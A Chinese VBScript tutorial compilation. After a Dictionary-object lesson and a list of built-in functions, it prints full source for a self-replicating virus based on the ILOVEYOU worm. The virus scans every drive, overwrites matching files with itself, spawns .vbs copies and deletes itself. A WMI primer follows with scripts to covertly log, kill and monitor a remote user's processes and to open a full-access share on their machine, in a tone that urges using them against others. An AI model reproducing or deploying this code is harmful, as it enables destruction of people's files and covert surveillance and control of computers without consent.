VBS中存在一个特殊的对象-dictionnary,是一个集合对象。一般情况霞,我把这个特殊的集合想象为数组,可以使用其中内建的函数完成存储和操纵数据等基本任务,无须担心数据是在哪些行列,而是使用唯一的键进行访问或者是一个只能运行在内存中的数据库,并只有两个字段分别是:keyitem,在使用中,字段key是索引字段。

set sdict=CreateObject("Scripting.Dictionary")

sdict.add "a","apple"

sdict.add "b","banana"

sdict.add "c","copy"

for each key in sdict.keys

msgbox     "键名" &   key     & "" & " = " & sdict (key)

next

sdict.removeall

这个脚本很简单,就是定义了一个 dictionary 对象的实例sdict,并加入了三条数据,然后对每一条数据进行了枚举,最后,将对象的实例清空。

Dictionary 对象的成员概要

属性和说明

CompareMode    设定或返回键的字符串比较模式

Count     只读。返回 Dictionary 里的键/条目对的数量

Item(key)  设定或返回指定的键的条目值

Key(key)  设定键值

方法和说明

Add(key,item)  增加键/条目对到 Dictionary

Exists(key)  如果指定的键存在,返回 True,否则返回 False

Items()  返回一个包含 Dictionary 对象中所有条目的数组

Keys()  返回一个包含 Dictionary 对象中所有键的数组

Remove(key)  删除一个指定的键/条目对

RemoveAll()   删除全部键/条目对

 

 

Vbs脚本编程简明教程之十五——1

VBS内置函数之一

 

Abs 函数:返回数的绝对值。

Array 函数:返回含有数组的变体。

Asc 函数:返回字符串首字母的 ANSI 字符码。

Atn 函数:返回数值的反正切。

CBool 函数:返回已被转换为 Boolean 子类型的变体的表达式。

CByte 函数:返回已被转换为字节子类型的变体的表达式。

CCur 函数:返回已被转换为货币子类型的变体的表达式。

CDate 函数:返回已被转换为日期子类型的变体的表达式。

CDbl 函数:返回已被转换为双精度子类型的变体的表达式。

Chr 函数:返回与指定的 ANSI 字符码相关的字符。

CInt 函数:返回已被转换为整形子类型的变体的表达式。

CLng 函数;返回已被转换为Long子类型的变体的表达式。

Cos 函数:返回角度的余弦。

CreateObject 函数:创建并返回对“自动”对象的引用。

CSng 函数:返回已被转换为单精度子类型的变体的表达式。

CStr 函数:返回已被转换为字符串子类型的变体的表达式。

Date 函数:返回当前系统日期。

DateAdd 函数:返回的日期已经加上了指定的时间间隔。

DateDiff 函数:返回两个日期之间的间隔。

DatePart 函数:返回给定日期的指定部分。

DateSerial 函数:返回指定年月日的日期子类型的变体。

Datevalue 函数:返回日期子类型的变体。

Day 函数:返回日期,取值范围为 1  31

Eval 函数:计算表达式并返回结果。

Exp 函数:返回 e (自然对数的底) 的多少次方。

Filter 函数:根据指定的筛选条件,返回含有字符串数组子集的、下限为 0 的数组。

Fix 函数:返回数的整数部分。

FormatCurrency 函数:返回的表达式为货币值格式,其货币符号采用系统控制面板中定义的。

FormatDateTime 函数:返回的表达式为日期和时间格式。

FormatNumber 函数:返回的表达式为数字格式。

FormatPercent 函数:返回的表达式为百分数(乘以 100)格式,后面有 % 符号。

GetObject 函数:返回从文件对“自动”对象的引用。

GetRef 函数:返回对能够绑定到一事件的过程的引用。

Hex 函数:返回一字符串,代表一个数的十六进制值。

Hour 函数:返回表示钟点的数字,取值范围为 0  23

InputBox 函数:在对话框中显式一提示,等待用户输入文本或单击按钮,并返回文本框的内容。

InStr 函数:返回一个字符串在另一个字符串中首次出现的位置。

InStrRev 函数;返回一个字符串在另一个字符串中出现的位置,但是从字符串的尾部算起。

 

VBS内置函数之二

 

Int 函数:返回数的整数部分。

IsArray 函数:返回 Boolean 值,反映变量是否为数组。

IsDate 函数:返回 Boolean 值,反映表达式能否转换为日期。

IsEmpty 函数:返回 Boolean 值,反映变量是否已被初始化。

IsNull 函数:返回 Boolean 值,反映表达式是否含有无效数据(Null)

IsNumeric 函数:返回 Boolean 值,反映表达式能否转换为数字。

IsObject 函数:返回 Boolean 值,反映表达式是否引用了有效的“自动”对象。

Join 函数:返回通过连接许多含有数组的子串而创建的字符串。

LBound 函数;返回指定维数数组的最小有效下标。

LCase 函数:返回的字符串已被转换为小写字母。

Left 函数:返回字符串最左边的指定数量的字符。

Len 函数:返回字符串中的字符数或存储变量所需的字节数。

LoadPicture 函数:返回图片对象。只用于 32 位平台。

Log 函数:返回数的自然对数。

LTrim 函数;返回去掉前导空格的字符串。

Mid 函数:从字符串中返回指定数量的字符。

Minute 函数:返回分钟数,取值范围为 0  59

Month 函数:返回表示月份的数,取值范围为 1  12

MonthName 函数:返回表示月份的字符串。

MsgBox 函数:在对话框中显示消息,等待用户单击按钮,并返回表示用户所击按钮的数值。

Now 函数:返回计算机的当前系统日期和时间。

Oct 函数:返回表示该数八进制数值的字符串。

Replace 函数:返回一字符串,其中指定的子串已被另一个子串替换了规定的次数。

RGB 函数:返回代表 RGB 颜色值的数字。

Right 函数:返回字符串最右边的指定数量的字符。

Rnd 函数:返回随机数。

Round 函数:返回指定位数、四舍五入的数。

RTrim 函数:返回去掉尾部空格的字符串副本。

ScriptEngine 函数:返回反映使用中的脚本语言的字符串。

ScriptEngineBuildVersion 函数:返回使用中的脚本引擎的编译版本号。

ScriptEngineMajorVersion 函数:返回使用中的脚本引擎的主版本号。

ScriptEngineMinorVersion 函数:返回使用中的脚本引擎的次版本号。

Second 函数:返回秒数,取值范围为 0  59

VBS内置函数之三

 

 

Sgn 函数:返回反映数的符号的整数。

Sin 函数:返回角度的正弦值。

Space 函数:返回由指定数量的空格组成的字符串。

Split 函数:返回下限为 0 的、由指定数量的子串组成的一维数组。

Sqr 函数:返回数的平方根。

StrComp 函数:返回反映字符串比较结果的数值。

String 函数:返回指定长度的重复字符串。

StrReverse 函数:返回一字符串,其中字符的顺序与指定的字符串中的顺序相反。

Tan 函数:返回角度的正切值。

Time 函数:返回表示当前系统时间的“日期”子类型的“变体”。

Timer 函数:返回时经子夜 1200 AM 后的秒数。

TimeSerial 函数:返回含有指定时分秒时间的日期子类型的变体。

Timevalue 函数:返回含有时间的日期子类型的变体。

Trim 函数:返回去掉前导空格或尾部空格的字符串副本。

TypeName 函数:返回一字符串,它提供了关于变量的变体子类型信息。

UBound 函数:返回指定维数数组的最大有效下标。

UCase 函数:返回的字符串已经被转换为大写字母。

VarType 函数:返回标识变体子类型的数值。

Weekday 函数:返回表示星期几的数值。

WeekdayName 函数:返回表示星期几的字符串。

Year 函数:返回表示年份的数值。

 

 

 

 

 

 

 

 

 

 

 

 

 

vbs病毒的简单例子源代码解析

说明:作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失)、并再创建一个相同文件名但后带.vbs的文件。因此,请注意设立好破坏测试条件,千万不要对他人进行测试,否则,一切后果自负。

dim folder,fso,foldername,f,d,dc

set fso=createobject("scripting.filesystemobject")

set self=fso.opentextfile(wscript.scriptfullname,1)

vbscopy=self.readall '读取病毒体,以备复制到文件

self.close

set dc=fso.Drives

for each d in dc

if d.drivetype=3 or d.drivetype=2 then '检查磁盘类型

wscript.echo d '弹出窗口,显示找到盘符

scan(d)

end if

next 

lsfile=wscript.scriptfullname '该脚本程序路径

set lsfile=fso.getfile(lsfile)

lsfile.delete(true) '病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码)

sub scan(folder_)

on error resume next

set folder_=fso.getfolder(folder_)

set files=folder_.files

for each file in files

ext=fso.GetExtensionName(file) '获取文件后缀

ext=lcase(ext) '后缀名转换成小写字母

if ext="mp5" then '如果后缀名是mp5,当然不存在这种文件,这里可以自己修改,但是注意。请自己建立相应后缀名的文件,最好是非正常后缀名

set ap=fso.opentextfile(file.path,2,true) 

' ap.write vbscopy '覆盖文件,慎用

ap.close

set cop=fso.getfile(file.path)

cop.copy(file.path & ".vbs") '创建另外一个病毒文件

' file.delete(true) '删除原来文件

end if

next

set subfolders=folder_.subfolders

for each subfolder in subfolders '搜索其他目录

scan(subfolder)

next 

end sub

 

 

Vbs脚本编程简明教程补充读物-初窥WMI

今天,我将给大家介绍个朋友,它就是Microsoft Windows Management Instrumentation (WMI)。中文名字叫Windows管理规范。从Windows 2000开始,WMIWindows 管理规范)就内置于操作系统中,并且成为了Windows系统管理的重要组成部分。所以大家很容易就能见到它的,因为我们至少也应该是个Windows 2000的使用者了。下面我将详细介绍它的每个细节,让你从不认识它到喜欢上它。

WMI能做什么?

WMI不仅可以获取想要的计算机数据,而且还可以用于远程控制。远程控制计算机可是大家都喜欢的东西。很多远程监视控制类软件通常的做法是:在远程计算机上运行服务端后台程序,在本地计算机上运行一个客户器端控制程序,通过这二个程序的勾结来实现对计算机的远程控制。这种作法的缺点是十分明显的,当服务端程序关了,这种远程监控就无法实现了,因为没有内线了。而WMI实现的远程监视和控制完全不需要另外装什么服务端的东西,系统默认就将WMI服务给开了。具体说来,WMI的本领如下:

1.获取本地和远程计算机的硬件软件信息。

2.监视本地和远程计算机的软件和服务等运行状况。

3.控制本地和远程计算机的软件和服务运行。

4.高级应用。

如何访问WMI

当我们知道WMI的某些本领后,我们已经很想知道如何认识他并利用他了。利用WMI有许多途径,简单说来有三种了:

1.通过微软给我们提供的各种工具来实现普通查询和操作。主要包括命令提示符下面的WMIC,还有就是微软给我们提供的WMI TOOL,大家可以到微软的网站上免费下载,当然我也可以给大家免费提供。

2.通过自己编写脚本来实现更灵活操作。要想真正灵活实用,对WSH脚本的熟悉是必须的,当然如果你不熟悉也没有关系,稍后我会给大家详细解释的。

3. 通过编写我们自己的程序来访问并操作它。什么语言都行。如果用.NET类程序要简单些了,如果用VC等要复杂些了,起码我是这么认为的。

4.还有个访问它的方法,就是到它的一个巢穴。在C:\WINDOWS\system32\wbem目录中的东西都和它有密切联系,有日志和各种工具,在里面你可以找到很多答案的。不过这些东西一般都不适合我们新手玩了,感觉有点吓人。

我们今天的任务?

今天我们的任务有五个:

任务一:利用WMIC列出远程计算机上的所有进程。

任务二:利用WMIC关闭本地进程。

任务三:通过WMIC把远程主机的进程信息保存在一个网页中

任务四:利用脚本实时监视对方进程

任务五:利用脚本给对方开放共享

查看和监视进程,还要把进程给杀掉,最后还要给对方开个共享,我们这位朋友快把坏事做尽了。明白了我们的任务,我们就可以上路了。这次我们将主要借助WMIC和脚本来实现我们的任务,所以我们将主要分为两大部分来讲解。在五个任务的实战中我们将更加深入地理解它,没有基础没有关系,我将尽力去解释所有的所谓的基础,让大家能很轻松地和这位朋友交流。

第一部分:利用WMIC来认识WMI

WMICWindows Management Instrumentation Commandline的简称,WMIC扩展WMI,提供了从命令行接口和批命令脚本执行系统管理的支持。为WMI名称空间提供了一个强大的、友好的命令行接口。有了WMICWMI就显的平易近人了。

执行“WMIC”命令将启动WMIC命令行环境。第一次执行WMIC命令时,Windows首先要安装WMIC,然后显示出WMIC的命令行提示符。在WMIC命令行提示符上,命令将以交互的方式执行。如果你不知道该如何和它交互,请敲个“/?”,细细看完全部的说明,你就知道了。WMIC也可以按照非交互的模式运行。如果要执行某个单步的任务,或者运行批命令中的一系列WMIC命令,非交互模式就很有用。要使用非交互模式,只要在同一个命令行上启动WMIC并输入要执行的命令就可以了。

1.任务一:利用WMIC列出远程计算机上的所有进程

这是一个实现起来很简单的任务,和你用一个DOS命令一样简单,因为我们要循序渐进嘛,所以安排了这么一个热身任务。在命令提示符下敲入下面的命令,我们将看到。

WMIC /node:192.168.1.2 /user:net process

解说:

1)上面命令中的NODEUSER是全局开关。如果你不愿意另外输一次密码,你也可以用PASSWORD开关,后面写上密码就可以了(WMIC /node:192.168.1.2 /user:net /password:password process)。千万要注意,这里的用户名和密码都必须是管理员级别的,其它的无效。WMIC提供了大量的全局开关、别名、动词、命令和丰富的命令行帮助增强用户接口。全局开关是用来配置整个WMIC会话的选项。

2Process是个别名,执行了一个Win32_process类的WQL查询,至于说是WMI的类是什么东西,感兴趣的就自己找资料多多了解,如果你很懒的话,就等我有时间给你开课讲解。别名是用户和WMI名称空间一个简化语法的中间层。当你指定一个别名时,动词(Verb)表示要执行的动作。

3)如果你愿意,你可以在该后面加上个动词等,比如 LIST FULL等(如:WMIC /node:192.168.1.2 /user:net /password:password process),这样你就看得更清楚了。

小提示:安装了WMIC的机器可以连接到任何一台安装了WMI的机器,被连接的机器不需要安装WMIC

2.任务二:利用WMIC关闭本地进程

执行下面的命令将关闭正在运行的QQ。我比较胆小,所以不敢关别人的QQ,只能拿我的QQ试验了,如果你的智商还够用的话,胆子比较大的话,你很快就会去关别人的了。

WMIC

process where name=”qq.exe” call terminate

解说:

1)这次我们是用交互式的方法来执行任务,具体界面我就不多说了,图上画的比我说的好多了。

2Call也是个动词,这个动词可是厉害了,控制类的没有不用它的,它就是可以调用各种类的各种方法的大将。这里我们调用了terminate方法。从字面上你就可以看出是恶狠狠的。

3Where能够让你查询和筛选。在超级多的实例中找到你想要的。实例就是指每个类的具体实现了。前面的例子中看到的各个进程都分别算是WIN32_PROCESS中的一个实例。

3.任务三:通过WMIC把远程主机的进程信息保存在一个网页中

这个任务和任务一中的大致相同,是任务一的加强。在任务一中信息以文本的形式显示出来了。其实除了文本形式的输出之外,WMIC还能够以其他形式返回命令执行结果,例如XMLHTML或者CSV(逗号分隔的文本文件),如图3所示。我们可以敲入下面的命令:

wmic /output:C:\1.html /node:192.168.1.2 /user:net process list full /format:hform.xsl

输入密码 :******

解释:

1)全局开关OUTPUT指明将这些信息保存在什么地方。

2)全局开关FORMAT指明了用什么样的格式,至于说有那些格式可以用,你可以参看C:\WINDOWS\system32\wbem目录中的*.xsl文件,你甚至不用管它们从哪里来的,用就是了。挨着看看,一定可以找到你喜欢的。

第二部分:利用脚本来认识WMI

命令提示符的工具确实好用,但是却显示不出我们是高手,高手都是能利用程序来实现目的的。下面我们就开始用脚本来实现我们的任务,功能将更加强大,操作将更加灵活。

无论脚本还是真正意义上的程序,要检索 WMI 托管资源信息进而查询并利用WMI,都需要遵循以下三个步骤的。

1.连接到 WMI 服务。建立一个到目标计算机上的 Windows 管理服务的连接。

2.检索 WMI 托管资源的实例。主要取决于要执行的任务。

3.显示WMI 某实例属性和调用其方法。

1.任务四:利用脚本实时监视对方进程

在任务一和任务三中我们都是在查看对方的进程,出来的结果对我们意义不是很大,在这个任务中我们要从现在开始每当他开一个任务我们就察觉到,并把它记录下来。我们要在他开进程的那一秒开始报告并记录,我们要清楚他所开的程序所在的位置,我们要比他更清楚地知道这些信息。

现在我们就按照前面提到的三个步骤来实现任务。

首先,我们连接到对方的WMI。在这里我们首先调用 VBScript 的中的Createobject()来得到一个对象,然后利用这个特殊的对象的方法来连接到远程的计算机上。这个特殊的对象就是wbemscripting.swbemlocator

set olct=createobject("wbemscripting.swbemlocator")

set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)

注意其中的strComputer就是你所要连接的计算机的名称或者IP地址,strUserstrPwd当然就是用户名和密码了,我们说过这个用户必须是具有管理员权限的才可以。root\cimv2WMI的命名空间,关于WMI的命名空间,大家可以到“计算机管理\WMI控件”中看到,这里面的学问就大了,得慢慢琢磨,为了我们的任务快速实现,我就不多解释了。用这种方法连接到WMI,返回一个对SWbemServices对象的引用,一旦有一个对 SWbemServices对象的引用。我们就可以进行第二个步骤了。

在第二个步骤中,我们将得到WMI 托管资源的实例,我们利用WbemServices中的一个方法ExecNotificationQuery可以查询我们所要的类,进而可以得到该类中实例。

Set colMonitoredProcesses = wbemServices. _

ExecNotificationQuery("select * from __instancecreationevent " _

& " within 1 where TargetInstance isa 'Win32_Process'")

注意这里有个类似于SQL语言的查询语言,这里叫做WQL语言,懂SQL的一看就明白了,不懂的就在网上找找它的资料,满天都是。得到的colMonitoredProcesses是所查询的类的实例的集合。有了这些我们的第三个步骤就可以开始了。

在第三个步骤中,我们将显示出得到的实例中的属性。刚才我们得到的是实例的集合,在这里我们通过colMonitoredProcesses.NextEvent来获取每一个具体的实例,得到每一个具体的实例后,我们就可以显示出他们的属性,也就是我们想看的东西了。这里我们显示了CommandLine的属性值。

到现在你是否有些迷惑了,因为你还不知道到底WMI里面有那些类,具体类又有哪些属性,呵呵,没有关系的,用一些工具可以很轻松的得到这些信息。比如系统自带的wbemtest,在运行中敲入这个程序名,你就可以看到这些了,它也遵循连接、查询、枚举这三个步骤。自己慢慢玩吧,很快你就会发现WMI太大了,单是命名空间就有10多个,然后单是我们常用的空间root\CIMV2里面就有近1000个类,每个类里面又有好多的属性,有些类还有好多方法。哈哈,头晕了吧?没关系,其实你只需要知道其中的一些就好了。

看到这些估计你的头已经很大了,但是恭喜你,我们的这个任务已经完成了,是的,就是这么简单,下面我将完整代码奉献出来。

Set colArgs = WScript.Arguments

If WScript.arguments.count < 3 then

WScript.Echo "USAGE:" & vbCrLf & " Monitor Computer User Password files"

WScript.quit

End If

strComputer = wscript.arguments(0)

strUser = wscript.arguments(1)

strPwd = wscript.arguments(2)

strFile = wscript.arguments(3)

set olct=createobject("wbemscripting.swbemlocator")

set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)

Set colMonitoredProcesses = wbemServices. _

ExecNotificationQuery("select * from __instancecreationevent " _

& " within 1 where TargetInstance isa 'Win32_Process'")

i = 0

Do While i = 0

Set objLatestProcess = colMonitoredProcesses.NextEvent

Wscript.Echo now & " " & objLatestProcess.TargetInstance.CommandLine

Set objFS = CreateObject("Scripting.FileSystemObject")

Set objNewFile = objFS.OpenTextFile(strFile,8,true)

objNewFile.WriteLine Now() & " " & objLatestProcess.TargetInstance.CommandLine

objNewFile.Close

Loop

到这个程序的核心了吧?相信你已经懂了其中的很多,剩余的部分代码我稍后解释。我们先来感性认识一下,先看它该怎么用吧!把上面的代码拷贝到记事本中,然后保存为monitor.vbs的文件,然后在命令提示符下输入:

CSCRIPT monitor.vbs

回车,你就会看到帮助,下面举例说明这个脚本的具体用法:

CSCRIPT monitor.vbs 192.168.1.2 user password C:\1.txt

在命令提示符下敲入上面的命令就OK了,每当对方开一个程序的时候,你就可以看到时间,程序路径和程序名。如果你没有时间去看这些信息,你还可以等有时间的时候到C:\1.txt看到这些信息。

小知识:

每次使用脚本,都必须敲入CSCRIPT和脚本的后缀名,很麻烦。这是因为系统默认的执行引擎是WSCRIPT,可以将它改成CSCRIPT。另外一个让人不爽的是脚本执行后总要显示微软的说明,好像脚本不是我们写的一样。不过你可以通过在命令提示符下敲入下面的命令来解决这个问题:

cscript //nologo //h:cscript //s

这样你以后再运行这些脚本的时候就不用在敲入CSCRIPT了,也不用在写入.vbs的后缀名了,就上面的例子来说,你可以这样用:

monitor 192.168.1.2 user password C:\1.txt

解释:

1)前面的那几行,大概就是为了显示帮助和处理我们在后面输入的参数。应用到了WScript.Arguments这个对象,利用它我们可以来获取并处理脚本的参数。

2)那个死循环是为了让我们一直监视他(她),每当他开一个程序,我们就得到一个新的实例,我们就可以知道他更多的信息,哈哈,够狠吧。这样你也就知道了,当我们这个脚本运行后,只有通过我们人为中止才能中断监视,人为中止的方法大家可以用CTRL+C来完成,也可以用各种野蛮的方法来中止。

3)在代码中出现的另外一个核心对象就是FileSystemObject,应该是大家的老朋友了吧,我这里就不再做解释了,我们在这里应用它主要是为了将结果同时保存到一个文件中,我们利用它来创建或打开一个文件,将信息追加进去。

4)至于那个NOW,虽然体积很小,但是却正是它给我们提供了时间这个重要的信息。

5)如果你想要监视的是自己的计算机而不是远程的计算机(据我所知,这个应用还是很广的)。那么请将计算机名的参数写为一个小点,用户名和密码留为空。如下所示:

monitor . "" "" C:\1.txt

2.任务五:利用脚本给对方开放共享

有了任务四的基础,这次我们就先看代码吧:

Set colArgs = WScript.Arguments

If WScript.arguments.count < 5 then

WScript.Echo "USAGE:" & vbCrLf & " Rshare Computer User Password SharePath ShareName"

WScript.quit

End If

strComputer = wscript.arguments(0)

strUser = wscript.arguments(1)

strPwd = wscript.arguments(2)

strPath = wscript.arguments(3)

strShareName = wscript.arguments(4)

intMaximumAllowed = 1

strDescription = "Temporary share"

Const SHARED_FOLDER = 0

set olct=createobject("wbemscripting.swbemlocator")

set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)

Set objSWbemObject = wbemServices.Get("Win32_Share")

intReturnvalue = objSWbemObject.Create(strPath, _

strShareName, _

SHARED_FOLDER, _

intMaximumAllowed, _

strDescription)

if(intReturnvalue = 0) Then

WScript.Echo "The share have been created successfully"

End If

解说:

1)我们可以看出来前面的那几行是为显示帮助和处理输入参数而存在的。

2)紧接着设置了几个变量,为以后做参数用的。这里我们可以先不理会它。

3)连接到主机的WMI,然后就是查询。前面已经说的很详细了。

4)这次得到实例集后,我们用了它的一个方法,也就是这个方法让共享成为了可能,联系到第二部分的内容,我们不难知道第一个参数表示要共享的路径和文件名,第二个参数表示共享名,第三个参数为0就可以了,第四个参数是指可以连接的人数,第五个参数是共享描述了,而我们只关心前面的两个参数。如果手头有MSDN那就好办了,到MSDN中可以查到该方法的更详细的内容。

5)这次我们根据第四步的返回值来得到共享是否成功,并给出提示。不同的返回值代表不同的意义。这个信息在MSDN中可以很清楚地查到。比如0代表成功返回,2代表拒绝访问,9代表用户名错误,25代表主机名没有找到等等。

6)这次我们要注意的是,用这个脚本来实现远程文件共享,要求远程存在这个文件,否则无法共享。当然你也可以利用教本创建自己的文件夹,很容易的,自己创建吧。

7)如上脚本创建后的共享是完全共享。就是可以删除修改文件的。

8)用法举例:share netp net swswsw C:\dodo marsh

好了,到现在为止,大家应该对这位朋友有些了解了,我的介绍任务也就告一段落了,如果大家想进一步认识它,那就主要靠大家的主动性了。这次我们主要通过WMIC和脚本来认识它,下次我将带领大家通过真正的程序代码来认识它,让它也有个象Windows一样漂亮的脸蛋。今天我所提到的估计只能算是WMI的万分之一,都算不上是冰山一角。剩余的要靠自己来发挥了。如果你肯利用你的所学,那么奇迹就会产生。

0 0
原创粉丝点击